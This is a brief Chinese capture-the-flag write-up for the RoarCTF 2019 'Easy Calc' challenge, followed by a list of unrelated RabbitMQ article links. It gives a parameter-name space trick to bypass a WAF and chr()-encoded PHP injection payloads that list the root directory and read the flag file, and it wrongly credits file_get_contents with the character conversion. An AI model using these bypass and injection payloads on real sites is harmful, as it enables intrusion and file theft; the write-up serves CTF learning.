[RoarCTF 2019]Easy Calc1

打开题目

查看源码,看到

看到源代码有 calc.php,构造url打开

看到php审计代码,

由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

复制代码
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关推荐
酷ku的森11 小时前
RabbitMQ七种工作模式介绍:
分布式·rabbitmq
济南java开发,求内推12 小时前
单个服务器部署多个rabbitmq
运维·服务器·rabbitmq
默 语12 小时前
消息中间件选型的艺术:如何在RocketMQ、Kafka、RabbitMQ中做出正确决策
java·架构·kafka·消息队列·rabbitmq·rocketmq·技术选型
埃泽漫笔17 小时前
Kafka、ActiveMQ、RabbitMQ、RocketMQ 对比
kafka·rabbitmq·activemq
koping_wu2 天前
【RabbitMQ】架构原理、消息丢失、重复消费、顺序消费、事务消息
分布式·架构·rabbitmq
酷ku的森2 天前
RabbitMQ的概述
分布式·rabbitmq
2301_768350233 天前
RabbitMq快速入门程序
分布式·rabbitmq·ruby
DoveLx3 天前
RabbitMQ:构建高可用异步通信系统的基石
消息队列·rabbitmq
Savvy..4 天前
消息队列MQ
kafka·消息队列·rabbitmq·rocketmq·mq
235164 天前
【MQ】RabbitMQ:架构、工作模式、高可用与流程解析
java·分布式·架构·kafka·rabbitmq·rocketmq·java-rabbitmq